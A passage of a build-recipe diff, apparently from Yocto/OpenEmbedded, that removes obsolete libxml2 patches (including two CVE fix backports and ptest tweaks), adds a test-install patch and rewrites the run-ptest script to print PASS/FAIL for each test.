-+++ b/Makefile.am
-@@ -203,9 +203,9 @@ install-ptest:
- install $(check_PROGRAMS) $(DESTDIR))
- cp -r $(srcdir)/test $(DESTDIR)
- cp -r $(srcdir)/result $(DESTDIR)
-- cp -r $(srcdir)/python $(DESTDIR)
- cp Makefile $(DESTDIR)
- sed -i -e 's|^Makefile:|_Makefile:|' $(DESTDIR)/Makefile
-+ $(MAKE) -C python install-ptest
-
- runtests: runtest$(EXEEXT) testrecurse$(EXEEXT) testapi$(EXEEXT) \
- testchar$(EXEEXT) testdict$(EXEEXT) runxmlconf$(EXEEXT)
-diff --git a/python/Makefile.am b/python/Makefile.am
-index 34aed96..ba3ec6a 100644
---- a/python/Makefile.am
-+++ b/python/Makefile.am
-@@ -48,7 +48,16 @@ GENERATED = libxml2class.py libxml2class.txt $(BUILT_SOURCES)
-
- $(GENERATED): $(srcdir)/generator.py $(API_DESC)
- $(PYTHON) $(srcdir)/generator.py $(srcdir)
-+
-+install-ptest:
-+ cp -r $(srcdir) $(DESTDIR)
-+ sed -e 's|^Makefile:|_Makefile:|' \
-+ -e 's|^\(tests test:\) all|\1|' Makefile >$(DESTDIR)/python/Makefile
-+ $(MAKE) -C tests install-ptest
-+else
-+install-ptest:
- endif
-
-+.PHONY: tests test
- tests test: all
- cd tests && $(MAKE) tests
-diff --git a/python/tests/Makefile.am b/python/tests/Makefile.am
-index 227e24d..021bb29 100644
---- a/python/tests/Makefile.am
-+++ b/python/tests/Makefile.am
-@@ -59,6 +59,11 @@ XMLS= \
- CLEANFILES = core tmp.xml *.pyc
-
- if WITH_PYTHON
-+install-ptest:
-+ cp -r $(srcdir) $(DESTDIR)/python
-+ sed -e 's|^Makefile:|_Makefile:|' \
-+ -e 's|^\(srcdir = \).*|\1.|' Makefile >$(DESTDIR)/python/tests/Makefile
-+
- tests: $(PYTESTS)
- @for f in $(XMLS) ; do test -f $$f || $(LN_S) $(srcdir)/$$f . ; done
- @echo "## running Python regression tests"
-@@ -70,9 +75,14 @@ tests: $(PYTESTS)
- if [ "$$?" -ne 0 ] ; then \
- echo "-- $$test" ; \
- echo "$$log" ; \
-+ echo "FAIL: $$test"; \
- exit 1 ; \
-+ else \
-+ echo "PASS: $$test"; \
- fi ; \
- done)
- else
-+install-ptest:
-+
- tests:
- endif
-diff --git a/python/tests/tstLastError.py b/python/tests/tstLastError.py
-index 81d0acc..162c8db 100755
---- a/python/tests/tstLastError.py
-+++ b/python/tests/tstLastError.py
-@@ -25,7 +25,7 @@ class TestCase(unittest.TestCase):
- when the exception is raised, check the libxml2.lastError for
- expected values."""
- # disable the default error handler
-- libxml2.registerErrorHandler(None,None)
-+ libxml2.registerErrorHandler(lambda ctx,str: None,None)
- try:
- f(*args)
- except exc:
diff --git a/meta/recipes-core/libxml/libxml2/CVE-2019-20388.patch b/meta/recipes-core/libxml/libxml2/CVE-2019-20388.patch
deleted file mode 100644
index 88eb65a6a5..0000000000
--- a/meta/recipes-core/libxml/libxml2/CVE-2019-20388.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7ffcd44d7e6c46704f8af0321d9314cd26e0e18a Mon Sep 17 00:00:00 2001
-From: Zhipeng Xie <xiezhipeng1@huawei.com>
-Date: Tue, 20 Aug 2019 16:33:06 +0800
-Subject: [PATCH] Fix memory leak in xmlSchemaValidateStream
-
-When ctxt->schema is NULL, xmlSchemaSAXPlug->xmlSchemaPreRun
-alloc a new schema for ctxt->schema and set vctxt->xsiAssemble
-to 1. Then xmlSchemaVStart->xmlSchemaPreRun initialize
-vctxt->xsiAssemble to 0 again which cause the alloced schema
-can not be freed anymore.
-
-Found with libFuzzer.
-
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/libxml2/commit/7ffcd44d7e6c46704f8af0321d9314cd26e0e18a]
-CVE: CVE-2019-20388
-
-Signed-off-by: Zhipeng Xie <xiezhipeng1@huawei.com>
-Signed-off-by: Lee Chee Yang <chee.yang.lee@intel.com>
----
- xmlschemas.c | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/xmlschemas.c b/xmlschemas.c
-index 301c8449..39d92182 100644
---- a/xmlschemas.c
-+++ b/xmlschemas.c
-@@ -28090,7 +28090,6 @@ xmlSchemaPreRun(xmlSchemaValidCtxtPtr vctxt) {
- vctxt->nberrors = 0;
- vctxt->depth = -1;
- vctxt->skipDepth = -1;
-- vctxt->xsiAssemble = 0;
- vctxt->hasKeyrefs = 0;
- #ifdef ENABLE_IDC_NODE_TABLES_TEST
- vctxt->createIDCNodeTables = 1;
---
-2.24.1
-
diff --git a/meta/recipes-core/libxml/libxml2/CVE-2020-7595.patch b/meta/recipes-core/libxml/libxml2/CVE-2020-7595.patch
deleted file mode 100644
index facfefd362..0000000000
--- a/meta/recipes-core/libxml/libxml2/CVE-2020-7595.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 0e1a49c8907645d2e155f0d89d4d9895ac5112b5 Mon Sep 17 00:00:00 2001
-From: Zhipeng Xie <xiezhipeng1@huawei.com>
-Date: Thu, 12 Dec 2019 17:30:55 +0800
-Subject: [PATCH] Fix infinite loop in xmlStringLenDecodeEntities
-
-When ctxt->instate == XML_PARSER_EOF,xmlParseStringEntityRef
-return NULL which cause a infinite loop in xmlStringLenDecodeEntities
-
-Found with libFuzzer.
-
-Signed-off-by: Zhipeng Xie <xiezhipeng1@huawei.com>
-
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/libxml2/commit/0e1a49c89076]
-CVE: CVE-2020-7595
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- parser.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/parser.c b/parser.c
-index d1c31963..a34bb6cd 100644
---- a/parser.c
-+++ b/parser.c
-@@ -2646,7 +2646,8 @@ xmlStringLenDecodeEntities(xmlParserCtxtPtr ctxt, const xmlChar *str, int len,
- else
- c = 0;
- while ((c != 0) && (c != end) && /* non input consuming loop */
-- (c != end2) && (c != end3)) {
-+ (c != end2) && (c != end3) &&
-+ (ctxt->instate != XML_PARSER_EOF)) {
-
- if (c == 0) break;
- if ((c == '&') && (str[1] == '#')) {
---
-2.24.1
-
diff --git a/meta/recipes-core/libxml/libxml2/fix-execution-of-ptests.patch b/meta/recipes-core/libxml/libxml2/fix-execution-of-ptests.patch
deleted file mode 100644
index ad719d4f5f..0000000000
--- a/meta/recipes-core/libxml/libxml2/fix-execution-of-ptests.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 395c0f53ec226aaabedb166e6b3a7f8590b95a5f Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 11 May 2019 20:39:15 +0800
-Subject: [PATCH] Make sure that Makefile doesn't try to compile these tests
- again on the target where the source dependencies won't be available.
-
-Upstream-Status: Inappropriate [cross-compile specific]
-
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
-Rebase to 2.9.9
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- Makefile.am | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/Makefile.am b/Makefile.am
-index 8f4e43d..5edb930 100644
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -211,8 +211,7 @@ install-ptest:
- sed -i -e 's|^Makefile:|_Makefile:|' $(DESTDIR)/Makefile
- $(MAKE) -C python install-ptest
-
--runtests: runtest$(EXEEXT) testrecurse$(EXEEXT) testapi$(EXEEXT) \
-- testchar$(EXEEXT) testdict$(EXEEXT) runxmlconf$(EXEEXT)
-+runtests:
- [ -d test ] || $(LN_S) $(srcdir)/test .
- [ -d result ] || $(LN_S) $(srcdir)/result .
- $(CHECKER) ./runtest$(EXEEXT) && \
---
-2.7.4
-
diff --git a/meta/recipes-core/libxml/libxml2/install-tests.patch b/meta/recipes-core/libxml/libxml2/install-tests.patch
new file mode 100644
index 0000000000..478eeea81b
--- /dev/null
+++ b/meta/recipes-core/libxml/libxml2/install-tests.patch
@@ -0,0 +1,34 @@
+From 0779511838a8cbd1e0f431c22f28f286a2a37b1b Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Mon, 5 Dec 2022 17:02:32 +0000
+Subject: [PATCH] add yocto-specific install-ptest target
+
+Add a target to install the test suite.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ Makefile.am | 10 ++++++++++
+ 1 file changed, 10 insertions(+)
+
+diff --git a/Makefile.am b/Makefile.am
+index 0a49d37..1097c63 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -27,6 +27,16 @@ check_PROGRAMS = \
+ testparser \
+ testrecurse
+
++ptestdir=$(libexecdir)
++install-test-data: $(check_PROGRAMS)
++ install -d $(DESTDIR)$(ptestdir) $(DESTDIR)$(ptestdir)/python/
++ for T in $(check_PROGRAMS); do \
++ $(LIBTOOL) --mode=install $(INSTALL_PROGRAM) $$T $(DESTDIR)$(ptestdir) ;\
++ done
++ cp -r $(srcdir)/test $(DESTDIR)$(ptestdir)
++ cp -r $(srcdir)/result $(DESTDIR)$(ptestdir)
++ cp -r $(srcdir)/python/tests $(DESTDIR)$(ptestdir)/python
++
+ bin_PROGRAMS = xmllint xmlcatalog
+
+ bin_SCRIPTS = xml2-config
diff --git a/meta/recipes-core/libxml/libxml2/libxml-64bit.patch b/meta/recipes-core/libxml/libxml2/libxml-64bit.patch
deleted file mode 100644
index fd8e469dd3..0000000000
--- a/meta/recipes-core/libxml/libxml2/libxml-64bit.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 056b14345b1abd76a761ab14538f1bc21302781a Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 11 May 2019 20:26:51 +0800
-Subject: [PATCH] libxml 64bit
-
-Upstream-Status: Backport [from debian: bugs.debian.org/439843]
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- libxml.h | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/libxml.h b/libxml.h
-index 64e30f7..4e80d90 100644
---- a/libxml.h
-+++ b/libxml.h
-@@ -15,6 +15,9 @@
- #ifndef _LARGEFILE_SOURCE
- #define _LARGEFILE_SOURCE
- #endif
-+#ifndef _LARGEFILE64_SOURCE
-+#define _LARGEFILE64_SOURCE
-+#endif
- #ifndef _FILE_OFFSET_BITS
- #define _FILE_OFFSET_BITS 64
- #endif
---
-2.7.4
-
diff --git a/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch b/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch
deleted file mode 100644
index e6998f6e68..0000000000
--- a/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch
+++ /dev/null
@@ -1,216 +0,0 @@
-From 43edc9a445ed66cceb7533eadeef242940b4592c Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 11 May 2019 20:37:12 +0800
-Subject: [PATCH] AM_PATH_XML2 uses xml-config which we disable through
-binconfig-disabled.bbclass, so port it to use pkg-config instead.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-Rebase to 2.9.9
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- libxml.m4 | 186 ++------------------------------------------------------------
- 1 file changed, 5 insertions(+), 181 deletions(-)
-
-diff --git a/libxml.m4 b/libxml.m4
-index 2d7a6f5..1c53585 100644
---- a/libxml.m4
-+++ b/libxml.m4
-@@ -1,188 +1,12 @@
--# Configure paths for LIBXML2
--# Mike Hommey 2004-06-19
--# use CPPFLAGS instead of CFLAGS
--# Toshio Kuratomi 2001-04-21
--# Adapted from:
--# Configure paths for GLIB
--# Owen Taylor 97-11-3
--
- dnl AM_PATH_XML2([MINIMUM-VERSION, [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]]])
- dnl Test for XML, and define XML_CPPFLAGS and XML_LIBS
- dnl
--AC_DEFUN([AM_PATH_XML2],[
--AC_ARG_WITH(xml-prefix,
-- [ --with-xml-prefix=PFX Prefix where libxml is installed (optional)],
-- xml_config_prefix="$withval", xml_config_prefix="")
--AC_ARG_WITH(xml-exec-prefix,
-- [ --with-xml-exec-prefix=PFX Exec prefix where libxml is installed (optional)],
-- xml_config_exec_prefix="$withval", xml_config_exec_prefix="")
--AC_ARG_ENABLE(xmltest,
-- [ --disable-xmltest Do not try to compile and run a test LIBXML program],,
-- enable_xmltest=yes)
--
-- if test x$xml_config_exec_prefix != x ; then
-- xml_config_args="$xml_config_args"
-- if test x${XML2_CONFIG+set} != xset ; then
-- XML2_CONFIG=$xml_config_exec_prefix/bin/xml2-config
-- fi
-- fi
-- if test x$xml_config_prefix != x ; then
-- xml_config_args="$xml_config_args --prefix=$xml_config_prefix"
-- if test x${XML2_CONFIG+set} != xset ; then
-- XML2_CONFIG=$xml_config_prefix/bin/xml2-config
-- fi
-- fi
--
-- AC_PATH_PROG(XML2_CONFIG, xml2-config, no)
-- min_xml_version=ifelse([$1], ,2.0.0,[$1])
-- AC_MSG_CHECKING(for libxml - version >= $min_xml_version)
-- no_xml=""
-- if test "$XML2_CONFIG" = "no" ; then
-- no_xml=yes
-- else
-- XML_CPPFLAGS=`$XML2_CONFIG $xml_config_args --cflags`
-- XML_LIBS=`$XML2_CONFIG $xml_config_args --libs`
-- xml_config_major_version=`$XML2_CONFIG $xml_config_args --version | \
-- sed 's/\([[0-9]]*\).\([[0-9]]*\).\([[0-9]]*\)/\1/'`
-- xml_config_minor_version=`$XML2_CONFIG $xml_config_args --version | \
-- sed 's/\([[0-9]]*\).\([[0-9]]*\).\([[0-9]]*\)/\2/'`
-- xml_config_micro_version=`$XML2_CONFIG $xml_config_args --version | \
-- sed 's/\([[0-9]]*\).\([[0-9]]*\).\([[0-9]]*\)/\3/'`
-- if test "x$enable_xmltest" = "xyes" ; then
-- ac_save_CPPFLAGS="$CPPFLAGS"
-- ac_save_LIBS="$LIBS"
-- CPPFLAGS="$CPPFLAGS $XML_CPPFLAGS"
-- LIBS="$XML_LIBS $LIBS"
--dnl
--dnl Now check if the installed libxml is sufficiently new.
--dnl (Also sanity checks the results of xml2-config to some extent)
--dnl
-- rm -f conf.xmltest
-- AC_TRY_RUN([
--#include <stdlib.h>
--#include <stdio.h>
--#include <string.h>
--#include <libxml/xmlversion.h>
--
--int
--main()
--{
-- int xml_major_version, xml_minor_version, xml_micro_version;
-- int major, minor, micro;
-- char *tmp_version;
--
-- system("touch conf.xmltest");
--
-- /* Capture xml2-config output via autoconf/configure variables */
-- /* HP/UX 9 (%@#!) writes to sscanf strings */
-- tmp_version = (char *)strdup("$min_xml_version");
-- if (sscanf(tmp_version, "%d.%d.%d", &major, &minor, &micro) != 3) {
-- printf("%s, bad version string from xml2-config\n", "$min_xml_version");
-- exit(1);
-- }
-- free(tmp_version);
--
-- /* Capture the version information from the header files */
-- tmp_version = (char *)strdup(LIBXML_DOTTED_VERSION);
-- if (sscanf(tmp_version, "%d.%d.%d", &xml_major_version, &xml_minor_version, &xml_micro_version) != 3) {
-- printf("%s, bad version string from libxml includes\n", "LIBXML_DOTTED_VERSION");
-- exit(1);
-- }
-- free(tmp_version);
--
-- /* Compare xml2-config output to the libxml headers */
-- if ((xml_major_version != $xml_config_major_version) ||
-- (xml_minor_version != $xml_config_minor_version) ||
-- (xml_micro_version != $xml_config_micro_version))
-- {
-- printf("*** libxml header files (version %d.%d.%d) do not match\n",
-- xml_major_version, xml_minor_version, xml_micro_version);
-- printf("*** xml2-config (version %d.%d.%d)\n",
-- $xml_config_major_version, $xml_config_minor_version, $xml_config_micro_version);
-- return 1;
-- }
--/* Compare the headers to the library to make sure we match */
-- /* Less than ideal -- doesn't provide us with return value feedback,
-- * only exits if there's a serious mismatch between header and library.
-- */
-- LIBXML_TEST_VERSION;
--
-- /* Test that the library is greater than our minimum version */
-- if ((xml_major_version > major) ||
-- ((xml_major_version == major) && (xml_minor_version > minor)) ||
-- ((xml_major_version == major) && (xml_minor_version == minor) &&
-- (xml_micro_version >= micro)))
-- {
-- return 0;
-- }
-- else
-- {
-- printf("\n*** An old version of libxml (%d.%d.%d) was found.\n",
-- xml_major_version, xml_minor_version, xml_micro_version);
-- printf("*** You need a version of libxml newer than %d.%d.%d. The latest version of\n",
-- major, minor, micro);
-- printf("*** libxml is always available from ftp://ftp.xmlsoft.org.\n");
-- printf("***\n");
-- printf("*** If you have already installed a sufficiently new version, this error\n");
-- printf("*** probably means that the wrong copy of the xml2-config shell script is\n");
-- printf("*** being found. The easiest way to fix this is to remove the old version\n");
-- printf("*** of LIBXML, but you can also set the XML2_CONFIG environment to point to the\n");
-- printf("*** correct copy of xml2-config. (In this case, you will have to\n");
-- printf("*** modify your LD_LIBRARY_PATH enviroment variable, or edit /etc/ld.so.conf\n");
-- printf("*** so that the correct libraries are found at run-time))\n");
-- }
-- return 1;
--}
--],, no_xml=yes,[echo $ac_n "cross compiling; assumed OK... $ac_c"])
-- CPPFLAGS="$ac_save_CPPFLAGS"
-- LIBS="$ac_save_LIBS"
-- fi
-- fi
-+AC_DEFUN([AM_PATH_XML2],[
-+ AC_REQUIRE([PKG_PROG_PKG_CONFIG])
-
-- if test "x$no_xml" = x ; then
-- AC_MSG_RESULT(yes (version $xml_config_major_version.$xml_config_minor_version.$xml_config_micro_version))
-- ifelse([$2], , :, [$2])
-- else
-- AC_MSG_RESULT(no)
-- if test "$XML2_CONFIG" = "no" ; then
-- echo "*** The xml2-config script installed by LIBXML could not be found"
-- echo "*** If libxml was installed in PREFIX, make sure PREFIX/bin is in"
-- echo "*** your path, or set the XML2_CONFIG environment variable to the"
-- echo "*** full path to xml2-config."
-- else
-- if test -f conf.xmltest ; then
-- :
-- else
-- echo "*** Could not run libxml test program, checking why..."
-- CPPFLAGS="$CPPFLAGS $XML_CPPFLAGS"
-- LIBS="$LIBS $XML_LIBS"
-- AC_TRY_LINK([
--#include <libxml/xmlversion.h>
--#include <stdio.h>
--], [ LIBXML_TEST_VERSION; return 0;],
-- [ echo "*** The test program compiled, but did not run. This usually means"
-- echo "*** that the run-time linker is not finding LIBXML or finding the wrong"
-- echo "*** version of LIBXML. If it is not finding LIBXML, you'll need to set your"
-- echo "*** LD_LIBRARY_PATH environment variable, or edit /etc/ld.so.conf to point"
-- echo "*** to the installed location Also, make sure you have run ldconfig if that"
-- echo "*** is required on your system"
-- echo "***"
-- echo "*** If you have an old version installed, it is best to remove it, although"
-- echo "*** you may also be able to get things to work by modifying LD_LIBRARY_PATH" ],
-- [ echo "*** The test program failed to compile or link. See the file config.log for the"
-- echo "*** exact error that occurred. This usually means LIBXML was incorrectly installed"
-- echo "*** or that you have moved LIBXML since it was installed. In the latter case, you"
-- echo "*** may want to edit the xml2-config script: $XML2_CONFIG" ])
-- CPPFLAGS="$ac_save_CPPFLAGS"
-- LIBS="$ac_save_LIBS"
-- fi
-- fi
-+ verdep=ifelse([$1], [], [], [">= $1"])
-+ PKG_CHECK_MODULES(XML, [libxml-2.0 $verdep], [$2], [$3])
-
-- XML_CPPFLAGS=""
-- XML_LIBS=""
-- ifelse([$3], , :, [$3])
-- fi
-+ XML_CPPFLAGS=$XML_CFLAGS
- AC_SUBST(XML_CPPFLAGS)
-- AC_SUBST(XML_LIBS)
-- rm -f conf.xmltest
- ])
---
-2.7.4
-
diff --git a/meta/recipes-core/libxml/libxml2/python-sitepackages-dir.patch b/meta/recipes-core/libxml/libxml2/python-sitepackages-dir.patch
deleted file mode 100644
index 956ff3f33e..0000000000
--- a/meta/recipes-core/libxml/libxml2/python-sitepackages-dir.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From b038c3452667ed17ddb0e791cd7bdc7f8774ac29 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 11 May 2019 20:35:20 +0800
-Subject: [PATCH] Allow us to pass in PYTHON_SITE_PACKAGES
-
-The python binary used when building for nativesdk doesn't give us the
-correct path here so we need to be able to specify it ourselves.
-
-Upstream-Status: Inappropriate [config]
-Signed-off-by: Paul Eggleton <paul.eggleton@linux.intel.com>
-
-Rebase to 2.9.9
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- configure.ac | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index ca911f3..3bbd654 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -808,7 +808,8 @@ dnl
-
- PYTHON_VERSION=
- PYTHON_INCLUDES=
--PYTHON_SITE_PACKAGES=
-+# Allow this to be set externally
-+#PYTHON_SITE_PACKAGES=
- PYTHON_TESTS=
- pythondir=
- if test "$with_python" != "no" ; then
---
-2.7.4
-
diff --git a/meta/recipes-core/libxml/libxml2/run-ptest b/meta/recipes-core/libxml/libxml2/run-ptest
index c313d83263..f252a78f17 100644..100755
--- a/meta/recipes-core/libxml/libxml2/run-ptest
+++ b/meta/recipes-core/libxml/libxml2/run-ptest
@@ -1,4 +1,20 @@
#!/bin/sh
+set -e
+
export LC_ALL=en_US.UTF-8
-make -k runtests
+
+# testModule isn't that useful and hard-codes buildtree, so we don't run that
+TESTS="runtest runsuite testrecurse testchar testdict testThreads runxmlconf testapi"
+
+for T in $TESTS; do
+ echo Running $T
+ ./$T && echo PASS: $T || echo FAIL: $T
+done
+
+if test -d python/tests; then
+ cd python/tests
+ for T in *.py; do
+ python3 ./$T && echo PASS: $T || echo FAIL: $T
+ done
+fi
diff --git a/meta/recipes-core/libxml/libxml2/runtest.patch b/meta/recipes-core/libxml/libxml2/runtest.patch
deleted file mode 100644
index 0dbb353c0f..0000000000
--- a/meta/recipes-core/libxml/libxml2/runtest.patch
+++ /dev/null
@@ -1,842 +0,0 @@
-Add 'install-ptest' rule. Print a standard result line for
-each test.
-
-Signed-off-by: Mihaela Sendrea <mihaela.sendrea@enea.com>
-Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-Upstream-Status: Backport
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- Makefile.am | 9 ++++
- runsuite.c | 1 +
- runtest.c | 2 +
- runxmlconf.c | 1 +
- testapi.c | 122 ++++++++++++++++++++++++++++++---------------
- testchar.c | 156 +++++++++++++++++++++++++++++++++++++++++-----------------
- testdict.c | 1 +
- testlimits.c | 1 +
- testrecurse.c | 2 +
- 9 files changed, 210 insertions(+), 85 deletions(-)
-
-diff --git a/Makefile.am b/Makefile.am
-index 9c630be..7cfd04b 100644
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -202,6 +202,15 @@ runxmlconf_LDADD= $(LDADDS)
- #testOOM_DEPENDENCIES = $(DEPS)
- #testOOM_LDADD= $(LDADDS)
-
-+install-ptest:
-+ @(if [ -d .libs ] ; then cd .libs; fi; \
-+ install $(check_PROGRAMS) $(DESTDIR))
-+ cp -r $(srcdir)/test $(DESTDIR)
-+ cp -r $(srcdir)/result $(DESTDIR)
-+ cp -r $(srcdir)/python $(DESTDIR)
-+ cp Makefile $(DESTDIR)
-+ sed -i -e 's|^Makefile:|_Makefile:|' $(DESTDIR)/Makefile
-+
- runtests: runtest$(EXEEXT) testrecurse$(EXEEXT) testapi$(EXEEXT) \
- testchar$(EXEEXT) testdict$(EXEEXT) runxmlconf$(EXEEXT)
- [ -d test ] || $(LN_S) $(srcdir)/test .
-diff --git a/runsuite.c b/runsuite.c
-index aaab13e..9ba2c5d 100644
---- a/runsuite.c
-+++ b/runsuite.c
-@@ -1162,6 +1162,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
-
- if (logfile != NULL)
- fclose(logfile);
-+ printf("%s: runsuite\n\n", (ret == 0) ? "PASS" : "FAIL");
- return(ret);
- }
- #else /* !SCHEMAS */
-diff --git a/runtest.c b/runtest.c
-index addda5c..8ba5d59 100644
---- a/runtest.c
-+++ b/runtest.c
-@@ -4501,6 +4501,7 @@ launchTests(testDescPtr tst) {
- xmlCharEncCloseFunc(ebcdicHandler);
- xmlCharEncCloseFunc(eucJpHandler);
-
-+ printf("%s: %s\n", (err == 0) ? "PASS" : "FAIL", tst->desc);
- return(err);
- }
-
-@@ -4577,6 +4578,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
- xmlCleanupParser();
- xmlMemoryDump();
-
-+ printf("%s: runtest\n\n", (ret == 0) ? "PASS" : "FAIL");
- return(ret);
- }
-
-diff --git a/runxmlconf.c b/runxmlconf.c
-index cef20f4..4f291fb 100644
---- a/runxmlconf.c
-+++ b/runxmlconf.c
-@@ -595,6 +595,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
-
- if (logfile != NULL)
- fclose(logfile);
-+ printf("%s: runxmlconf\n", (ret == 0) ? "PASS" : "FAIL");
- return(ret);
- }
-
-diff --git a/testapi.c b/testapi.c
-index 4a751e2..7ccc066 100644
---- a/testapi.c
-+++ b/testapi.c
-@@ -1246,49 +1246,91 @@ static int
- testlibxml2(void)
- {
- int test_ret = 0;
--
-- test_ret += test_HTMLparser();
-- test_ret += test_HTMLtree();
-- test_ret += test_SAX2();
-- test_ret += test_c14n();
-- test_ret += test_catalog();
-- test_ret += test_chvalid();
-- test_ret += test_debugXML();
-- test_ret += test_dict();
-- test_ret += test_encoding();
-- test_ret += test_entities();
-- test_ret += test_hash();
-- test_ret += test_list();
-- test_ret += test_nanoftp();
-- test_ret += test_nanohttp();
-- test_ret += test_parser();
-- test_ret += test_parserInternals();
-- test_ret += test_pattern();
-- test_ret += test_relaxng();
-- test_ret += test_schemasInternals();
-- test_ret += test_schematron();
-- test_ret += test_tree();
-- test_ret += test_uri();
-- test_ret += test_valid();
-- test_ret += test_xinclude();
-- test_ret += test_xmlIO();
-- test_ret += test_xmlautomata();
-- test_ret += test_xmlerror();
-- test_ret += test_xmlmodule();
-- test_ret += test_xmlreader();
-- test_ret += test_xmlregexp();
-- test_ret += test_xmlsave();
-- test_ret += test_xmlschemas();
-- test_ret += test_xmlschemastypes();
-- test_ret += test_xmlstring();
-- test_ret += test_xmlunicode();
-- test_ret += test_xmlwriter();
-- test_ret += test_xpath();
-- test_ret += test_xpathInternals();
-- test_ret += test_xpointer();
-+ int ret = 0;
-+
-+ test_ret += (ret = test_HTMLparser());
-+ printf("%s: HTMLparser\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_HTMLtree());
-+ printf("%s: HTMLtree\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_SAX2());
-+ printf("%s: SAX2\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_c14n());
-+ printf("%s: c14n\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_catalog());
-+ printf("%s: catalog\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_chvalid());
-+ printf("%s: chvalid\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_debugXML());
-+ printf("%s: debugXML\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_dict());
-+ printf("%s: dict\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_encoding());
-+ printf("%s: encoding\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_entities());
-+ printf("%s: entities\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_hash());
-+ printf("%s: hash\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_list());
-+ printf("%s: list\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_nanoftp());
-+ printf("%s: nanoftp\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_nanohttp());
-+ printf("%s: nanohttp\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_parser());
-+ printf("%s: parser\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_parserInternals());
-+ printf("%s: parserInternals\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_pattern());
-+ printf("%s: pattern\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_relaxng());
-+ printf("%s: relaxng\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_schemasInternals());
-+ printf("%s: schemasInternals\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_schematron());
-+ printf("%s: schematron\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_tree());
-+ printf("%s: tree\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_uri());
-+ printf("%s: uri\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_valid());
-+ printf("%s: valid\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xinclude());
-+ printf("%s: xinclude\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlIO());
-+ printf("%s: xmlIO\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlautomata());
-+ printf("%s: xmlautomata\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlerror());
-+ printf("%s: xmlerror\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlmodule());
-+ printf("%s: xmlmodule\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlreader());
-+ printf("%s: xmlreader\n", (ret == 0) ? "PASS" : "FAIL");
-+ test_ret += (ret = test_xmlregexp());
